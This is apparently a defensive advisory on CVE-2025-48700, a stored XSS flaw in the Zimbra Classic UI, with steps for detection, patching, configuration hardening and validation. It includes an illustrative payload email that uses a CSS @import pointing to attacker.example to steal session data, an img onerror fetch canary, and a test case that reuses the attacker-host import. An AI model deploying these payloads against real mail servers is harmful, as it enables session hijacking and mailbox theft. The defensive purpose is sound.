Executive Summary
CVE-2025-48700 is a stored Cross-Site Scripting (XSS) vulnerability in the Zimbra Collaboration Suite (ZCS) Classic UI, actively exploited by the Russia-linked threat actor UAC-0233 in targeted attacks against Ukrainian government entities. By sending a specially crafted email, attackers can execute arbitrary JavaScript in the victim's browser session with zero additional user interaction beyond opening the message — enabling silent theft of mailbox contents, MFA backup codes, application passwords, and the Global Address Book. CISA added this vulnerability to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, and set a federal remediation deadline of April 23, 2026 — a rare 72-hour window underscoring the severity of active exploitation. All Zimbra operators should patch immediately.
1. What Is This Vulnerability?
Zimbra Collaboration Suite's Classic UI renders email HTML through an internal sanitization pipeline. CVE-2025-48700 exposes a bypass in that pipeline where certain crafted tag structures and attribute values — particularly those leveraging CSS @import directives — survive filtering and are executed by the browser as live JavaScript.
The result is a stored (persistent) XSS: the malicious payload arrives in an email, is stored on the Zimbra server, and executes every time the victim views that message. No plug-in, no download, no "enable macros" prompt — simply rendering the email in the Classic UI is sufficient.
Technical Breakdown
Zimbra's sanitizer attempts to strip <script> tags and javascript: URI schemes, but it does not fully account for CSS-injected script execution paths. The specific bypass uses a combination of:
- A
<style>block with a crafted@importrule pointing to an attacker-controlled resource, OR an inlinestyle=attribute containing a similarly crafted value - Nested or malformed HTML that confuses the sanitizer's tag-balancing logic, causing portions of the payload to escape filtering
Once rendered, the browser fetches or evaluates the attacker-controlled content and executes arbitrary JavaScript in the origin of the victim's Zimbra session.
Simplified proof-of-concept structure (illustrative):
<!-- Email body sent by attacker -->
<div style="background:url('javascript:void(0)')">
<style>
/* Crafted @import to exfiltrate session data */
@import url("https://attacker.example/steal.css");
</style>
<!-- Decoy content the victim sees -->
<p>Please review the attached report.</p>
</div>
The exact payload varies; researchers observed variants that directly inject <script> tags through malformed comment structures that the sanitizer fails to close properly.
Attack Vector
- Attacker registers or compromises an email account reachable by the target.
- Attacker crafts an HTML email embedding the XSS payload.
- Email is delivered to the victim's Zimbra inbox.
- Victim opens the message in the Classic UI (the default webmail interface for many deployments).
- Browser executes attacker's JavaScript within the Zimbra origin.
- Script silently exfiltrates: session cookies/tokens, mailbox contents, contacts, MFA backup codes, and application passwords.
No user interaction beyond viewing the email is required.
Real-World Impact
Ukraine's Computer Emergency Response Team (CERT-UA) documented active exploitation by UAC-0233, a threat actor assessed to operate in support of Russian intelligence objectives. The attacks targeted Ukrainian government and critical infrastructure organizations beginning in late 2025. Upon successful compromise, attackers:
- Packaged mailbox content into TGZ archives for exfiltration
- Harvested multi-factor authentication backup codes, enabling future persistent access even after password resets
- Collected application-specific passwords, potentially used to bypass standard MFA
- Exfiltrated the Global Address Book, useful for subsequent spear-phishing campaigns
The campaign highlights a disturbing escalation: stealing MFA backup codes means the attacker retains a silent "break glass" access mechanism that survives credential rotations.
2. Who Is Affected?
| Platform | Vulnerable Versions | Status |
|---|---|---|
| Zimbra Collaboration Suite (ZCS) | 8.8.15 (all patch levels) | End-of-life; no new patch |
| ZCS 9.0.x | Before 9.0.0 Patch 46 | Patch available |
| ZCS 10.0.x (Daffodil) | Before 10.0.15 | Patch available |
| ZCS 10.1.x (Daffodil) | Before 10.1.9 | Patch available |
| Zimbra Cloud / Hosted | Vendor-managed | Contact Synacor |
High-risk configurations:
- Organizations with the Classic UI enabled (the default for many enterprise deployments)
- Public-facing Zimbra instances accessible from the internet
- Environments lacking email gateway HTML sanitization
- Organizations with external email accepted from any source without advanced threat scanning
Not affected:
- Zimbra Modern UI (if Classic UI is fully disabled)
- Fully patched ZCS 10.1.9+ / 10.0.15+ / 9.0.0 P46+
3. How to Detect It (Testing)
Manual Testing Steps
Step 1 — Verify your Zimbra version:
# On the Zimbra server (as zimbra user)
zmcontrol version
# Or check the admin console: Admin Console > Global Settings > Version
If the output shows a version earlier than the fixed releases, you are vulnerable.
Step 2 — Check whether Classic UI is enabled:
# As zimbra user
zmprov gd yourdomain.example.com zimbraFeatureClassicMailEnabled
# Returns TRUE if Classic UI is available to users
Step 3 — Send a canary XSS probe (in a controlled lab or staging Zimbra instance only):
- Send an email to a test mailbox containing a benign XSS canary payload, such as an
<img>tag with a uniqueonerrorcallback URL pointing to a Burp Collaborator orhttps://webhook.sitelistener:<img src="x" onerror="fetch('https://your-canary.webhook.site/xss-hit?origin='+encodeURIComponent(document.origin))"> - Open the email in the Classic UI on the vulnerable version.
- Indicator of vulnerability: your canary listener receives an HTTP request. A patched version will silently discard the payload and no request arrives.
Step 4 — Check mail server logs for suspicious exfiltration patterns:
# Search for outbound connections initiated from Zimbra's webmail process
grep "zimbraMailboxd" /var/log/zimbra.log | grep -i "fetch\|xmlhttprequest\|exfil"
# Also check Apache/nginx access logs for unusual JS/CSS asset requests
grep "\.css\|\.js" /var/log/zimbra/access.log | grep -v "localhost\|127\.0\.0\.1"
Automated Scanning
Tool: Nuclei
# Install Nuclei if not present
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Run against your Zimbra instance
nuclei -u https://mail.yourdomain.com -tags xss,zimbra -severity medium,high,critical
# For a targeted CVE scan
nuclei -u https://mail.yourdomain.com -id CVE-2025-48700
- Expected output on vulnerable instance: Finding reported with request/response showing payload execution
- Expected output on patched instance: No finding
Tool: OWASP ZAP
- Open ZAP and configure it as a proxy.
- Browse to your Zimbra Classic UI login and authenticate.
- Navigate to the inbox and open a test email.
- Run Active Scan with XSS rules enabled against the session.
- Review Alerts tab for Stored XSS findings.
Tool: Tenable / Nessus
Plugin search: "Zimbra"
Filter: CVE = CVE-2025-48700
Run authenticated scan against Zimbra host
Code Review Checklist (for Zimbra customizations or plugins)
- Verify no custom zimlets or themes override the default HTML sanitizer with a less restrictive implementation
- Check that
zimbraMailTrustedSenderListEnabledis not overly permissive, allowing untrusted HTML to bypass filters - Confirm no custom CGI scripts pass raw email content to the browser without sanitization
- Review any
Content-Security-Policyheaders set in your Zimbra proxy configuration
4. How to Fix It (Mitigation)
Step-by-Step Remediation
Option A: Upgrade Zimbra (Recommended)
1. Backup first:
# As root
zmcontrol stop
tar -czf /backup/zimbra-backup-$(date +%Y%m%d).tar.gz /opt/zimbra
zmcontrol start
2. Download the appropriate patch:
- ZCS 10.1.x → Upgrade to 10.1.9 or later: Zimbra Downloads
- ZCS 10.0.x → Upgrade to 10.0.15 or later
- ZCS 9.0.x → Apply Patch 46 (9.0.0 P46) or later
3. Apply the patch (example for 10.1.x):
# As root, extract and run the installer
tar -xzf zcs-10.1.9_GA_*.tgz
cd zcs-10.1.9_GA_*/
./install.sh
# Follow the interactive prompts; choose to upgrade existing installation
4. Restart and verify:
su - zimbra
zmcontrol restart
zmcontrol version # Confirm new version is active
Option B: Disable Classic UI (Interim Workaround)
If patching cannot be done immediately, disable the Classic UI to eliminate the attack surface:
# Disable Classic UI globally (all users will use Modern UI)
su - zimbra
zmprov mcf zimbraFeatureClassicMailEnabled FALSE
# Or disable per domain
zmprov md yourdomain.example.com zimbraFeatureClassicMailEnabled FALSE
# Restart mailbox service
zmmailboxdctl restart
⚠️ Note: This workaround blocks user access to Classic UI. Ensure Modern UI is functional and users are informed before applying.
Option C: Enforce Strict Content Security Policy (Defense-in-Depth)
Add or harden a CSP header at your reverse proxy (nginx example):
# /etc/nginx/conf.d/zimbra.conf
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-{random-nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self';
frame-ancestors 'none';
object-src 'none';
" always;
This does not fix the underlying vulnerability but significantly raises the bar for JavaScript execution from injected content.
Code Fix Example
The core fix in Zimbra's codebase involves tightening the HTML sanitizer (com.zimbra.common.mime.shim or equivalent) to:
Before (vulnerable — incomplete CSS filter):
// Simplified illustration of the gap
if (attr.getName().equals("style")) {
String value = attr.getValue();
// Only strips 'javascript:' prefix — misses @import
value = value.replaceAll("(?i)javascript:", "");
attr.setValue(value);
}
After (patched — strips @import and other CSS injection vectors):
if (attr.getName().equals("style")) {
String value = attr.getValue();
// Strip javascript:, expression(), @import, and other vectors
value = value.replaceAll("(?i)(javascript:|@import|expression\\s*\\()", "");
// Additionally validate against allowlist of safe CSS properties
value = CssSanitizer.sanitize(value);
attr.setValue(value);
}
Configuration Hardening
# Enforce modern HTTPS-only access (prevents session cookie theft via HTTP)
su - zimbra
zmprov mcf zimbraMailMode https
# Set secure cookie flags
zmprov mcf zimbraCookieExposureTime 3600
# Restrict HTML email rendering to plain-text fallback by default (aggressive)
# zmprov mcf zimbraFeatureHtmlComposeFrontend FALSE # Only if Classic UI still needed
# Enable anti-spam/anti-phishing at MTA level to reduce malicious email delivery
zmprov mcf zimbraAmavisSALocalTestsOnly FALSE
5. How to Test the Fix (Validation)
Regression Test Scenarios
- Scenario A: Send the same XSS canary email (from detection step 3) to the patched Zimbra instance. Open it in Classic UI. Verify the canary listener receives no callback.
- Scenario B: Attempt to open the original malicious payload. Verify the HTML is rendered as escaped text (e.g.,
<script>) or stripped entirely — not executed. - Scenario C: Verify normal email functionality is intact — HTML formatting, images, and attachments render correctly for clean emails.
Security Test Cases
Test Case 1: Confirm XSS payload no longer executes
- Precondition: Zimbra upgraded to patched version; mailbox contains crafted test email
- Steps:
- Log in to Classic UI as test user
- Open the email containing the canary payload
- Monitor canary listener (webhook.site, Burp Collaborator)
- Expected Result: No HTTP request to canary URL; payload rendered as sanitized text
Test Case 2: CSS @import directive is stripped
- Precondition: Patched Zimbra instance
- Steps:
- Send email with
<style>@import url("https://attacker.example/evil.css")</style>in body - Open email in Classic UI
- Inspect rendered HTML via browser DevTools (Ctrl+Shift+I)
- Send email with
- Expected Result:
@importdirective is absent from the rendered DOM
Test Case 3: No regression in HTML email rendering
- Precondition: Patched instance
- Steps:
- Send a legitimate HTML email with inline styles, images, and hyperlinks
- Open in Classic UI
- Expected Result: Email renders correctly; formatting intact; no broken images
Automated Tests
# Python script to test XSS canary against Zimbra (requires requests library)
# Run ONLY against environments you own and have authorization to test
import requests
import time
ZIMBRA_URL = "https://mail.yourdomain.com"
USERNAME = "testuser@yourdomain.com"
PASSWORD = "your-test-password"
CANARY_URL = "https://your-canary.webhook.site/zimbraxss"
# Step 1: Authenticate
session = requests.Session()
auth_resp = session.post(f"{ZIMBRA_URL}/service/soap/AuthRequest", json={
"Body": {
"AuthRequest": {
"xmlns": "urn:zimbraAccount",
"account": {"by": "name", "_content": USERNAME},
"password": {"_content": PASSWORD}
}
}
})
print("Auth status:", auth_resp.status_code)
# Step 2: Check canary webhook for hits (manual check or use webhook.site API)
print(f"\nSend a canary XSS email to {USERNAME} and open it in Classic UI.")
print(f"Then check {CANARY_URL} for any incoming requests.")
print("If no request arrives after opening the email, the patch is effective.")
6. Prevention & Hardening
Best Practices
- Patch on a regular cadence: Subscribe to Zimbra Security Advisories and treat any patch with CVSS ≥ 6.0 as high priority. Apply within 72 hours for actively exploited vulnerabilities.
- Layer email gateway defenses: Deploy a cloud or on-prem email security gateway (e.g., Proofpoint, Mimecast, Cisco Secure Email) that strips or sandboxes HTML email before delivery to Zimbra. This can neutralize XSS payloads before they ever reach the Classic UI renderer.
- Enforce the principle of least privilege for mailbox access: Limit which users can receive external HTML email. Consider enforcing plain-text-only policies for high-value targets (executives, IT admins).
- Rotate MFA backup codes and application passwords periodically: Since this attack specifically harvests these credentials, assume they are compromised for any organization that ran a vulnerable, internet-exposed Zimbra instance during the exploitation window (late 2025–April 2026).
- Evaluate migration to Modern UI: The Classic UI is the attack surface here. Moving users to the Modern UI reduces exposure to a class of vulnerabilities specific to the legacy renderer.
- Implement network egress filtering on Zimbra hosts: Zimbra's webmail process should not be able to make arbitrary outbound HTTP calls. Restrict egress to known-good destinations (LDAP, internal relays, update servers).
Monitoring & Detection
Log-based detection (forward to SIEM):
# Zimbra mailbox log — look for JS/CSS resource fetches initiated during mail view
tail -f /opt/zimbra/log/mailbox.log | grep -E "(fetch|XMLHttpRequest|import)"
# Proxy/firewall: alert on outbound connections FROM your Zimbra server's IP to unknown external hosts
# Especially watch for connections to new/rare domains on ports 80/443
# SIEM rule (pseudocode / Sigma-style):
# title: Zimbra webmail anomalous egress
# logsource: proxy
# detection:
# selection:
# src_ip: <zimbra_server_ip>
# dst_port: [80, 443]
# filter:
# dst_domain|contains: ['zimbra.com', 'your-internal-domain.com']
# condition: selection and not filter
# level: high
Threat hunting queries (Elastic/Splunk):
# Splunk — detect unusual outbound connections from Zimbra host
index=network src_ip="<zimbra_ip>" NOT dest_domain IN ("*.yourdomain.com", "*.zimbra.com")
| stats count by dest_domain, dest_port
| where count > 5
| sort -count
Indicator of Compromise (IoC) context: While specific C2 infrastructure for this campaign has not been publicly disclosed, monitor for:
- Unexpected TGZ archive creation in user mailbox directories
- New application-specific passwords created outside normal business hours
- Authentication events using backup MFA codes
- Email forwarding rules added to high-value accounts (a common post-compromise persistence technique)
References
- CVE Record: CVE-2025-48700 — NVD
- CISA KEV Alert (April 20, 2026): CISA Adds Eight Known Exploited Vulnerabilities to Catalog
- CISA 8 KEV Roundup Coverage: The Hacker News — CISA Adds 8 Exploited Flaws to KEV
- Zimbra Security Advisories: Zimbra Wiki — Security Center
- Patch Release Notes: Zimbra Blog — Daffodil 10.1.9 Patch Release
- Technical Advisory (HKCERT): Zimbra Collaboration Suite XSS Vulnerability
- Security Affairs Coverage: CISA adds Cisco, Kentico, PaperCut, Zimbra, Quest KACE, JetBrains flaws to KEV
- CVE Details — Zimbra: Synacor Zimbra CVE History